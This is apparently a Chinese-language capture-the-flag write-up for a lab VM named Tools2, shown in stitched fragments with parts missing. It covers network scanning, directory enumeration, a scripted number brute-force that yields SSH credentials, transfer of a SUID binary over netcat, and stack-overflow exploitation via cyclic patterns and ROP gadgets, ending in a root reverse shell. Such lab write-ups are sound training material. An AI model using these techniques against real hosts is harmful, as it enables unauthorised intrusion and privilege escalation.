❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.155 08:00:27:ef:1a:86 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f9:b6:83 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.030 seconds (126.11 hosts/sec). 4 responded ❯ export ip=192.168.60.155 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where '404 Not Found' meets '200 OK'.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.155:22 Open 192.168.60.155:80 Open 192.168.60.155:1337 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 14:16 CST Initiating ARP Ping Scan at 14:16 Scanning 192.168.60.155 [1 port] Completed ARP Ping Scan at 14:16, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 14:16 Scanning gggbaby.ggg.dsz (192.168.60.155) [3 ports] Discovered open port 1337/tcp on 192.168.60.155 Discovered open port 80/tcp on 192.168.60.155 Discovered open port 22/tcp on 192.168.60.155 Completed SYN Stealth Scan at 14:16, 0.09s elapsed (3 total ports) Nmap scan report for gggbaby.ggg.dsz (192.168.60.155) Host is up, received arp-response (0.00046s latency). Scanned at 2025-06-18 14:16:47 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 1337/tcp open waste syn-ack ttl 64 MAC Address: 08:00:27:EF:1A:86 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
目录枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
❯ gobuster dir -u "http://$ip" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.155 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403 [+] User Agent: gobuster/3.6 [+] Extensions: zip,txt,php,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 96]
只存在一个index.html,给出提示
猜测数字获取凭证,在注释中给出密码thehackerlabs
1 2 3 4
❯ curl $ip <h1>See Port 1337</h1> <h1>Guess My number && get creds</h1> <!-- PASSWORD "thehackerlabs" -->
利用nc连接一下1337端口
只有输入密码后才能猜测数字
而且输错后会自动断开连接
1 2 3 4 5
❯ nc -vn $ip 1337 (UNKNOWN) [192.168.60.155] 1337 (?) open Please enter password: thehackerlabs Please enter a number (1-1000): 111 Wrong
print(f"[FAIL] All numbers from 1 to {MAX_NUMBER} have been tried without success.")
if __name__ == "__main__": solve_challenge_socket()
跑一下,得到凭证welcome:vulnyx
1 2 3 4 5 6 7 8 9
❯ python3 nc2.py ……………………………… [*]SendPassword:thehackerlabs [<] Password response: Please enter a number (1-1000): [*] Trying: 290 Recv: user/pass:welcome/vulnyx [SUCCESS] Challenge completed! Number 290 was correct! [FLAG] Server response: user/pass:welcome/vulnyx
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jun 18 02:13:41 2025 from 192.168.60.100 welcome@Tools2:~$ cat user.txt flag{user-c570720a-4a98-11f0-bda3-334440f973cc}
用户并没有sudo权限
不过在/opt目录下存在SUID权限文件
1 2 3 4 5 6 7 8 9
welcome@Tools2:~$ cd /opt/ welcome@Tools2:/opt$ ls -al total 56 drwxr-xr-x 3 root root 4096 Jun 16 06:20 . drwxr-xr-x 18 root root 4096 Mar 18 20:37 .. -rw-r--r-- 1 root root 5 Jun 16 06:06 a.txt drwxr-xr-x 6 root root 4096 Dec 31 1969 pwndbg -rwxr-xr-x 1 root root 17536 Jun 16 06:18 server -rwsr-sr-x 1 root root 16952 Jun 16 06:09 todd
下载到本地
1 2 3 4 5
❯ nc -lvp 4444 > todd listening on [any] 4444 ... connect to [192.168.60.100] from gggbaby.ggg.dsz [192.168.60.155] 37246 -------------------------- welcome@Tools2:/opt$ busybox nc 192.168.60.100 4444 < todd
❯ gdb -q todd pwndbg: loaded 188 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break) Reading symbols from todd... (No debugging symbols found in todd) ------- tip of the day (disable with set show-tips off) ------- Use $base("heap") to get the start address of a [heap] memory page pwndbg> cyclic 300 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa pwndbg> r Starting program: /home/Pepster/temp/todd/todd warning: opening /proc/self/mem file failed: Permission denied (13) [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Enter password: hackmyvm aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
welcome@Tools2:~$ python3 exp.py [*] '/opt/todd' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No [+] Starting local process '/opt/todd': pid 856 [*] Switching to interactive mode $
监听端口,即可拿到root shell
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from Tools2-192.168.60.155-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/Tools2~192.168.60.155_Linux_x86_64/2025_06_18-15_24_31-202.log 📜 ────────────────────────────────────────────────────────────────────────── root@Tools2:/home/welcome# id uid=0(root) gid=0(root) groups=0(root),1000(welcome) root@Tools2:/home/welcome# cat /root/root.txt flag{root-bd09979a-4a98-11f0-b6e5-93454538745b}
❯ ROPgadget --binary ./todd --only "pop|ret" Gadgets information ============================================================ 0x0000000000401304 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401306 : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401308 : pop r14 ; pop r15 ; ret 0x000000000040130a : pop r15 ; ret 0x0000000000401303 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401307 : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000401199 : pop rbp ; ret 0x000000000040130b : pop rdi ; ret 0x0000000000401309 : pop rsi ; pop r15 ; ret 0x0000000000401305 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401016 : ret 0x0000000000401072 : ret 0x2f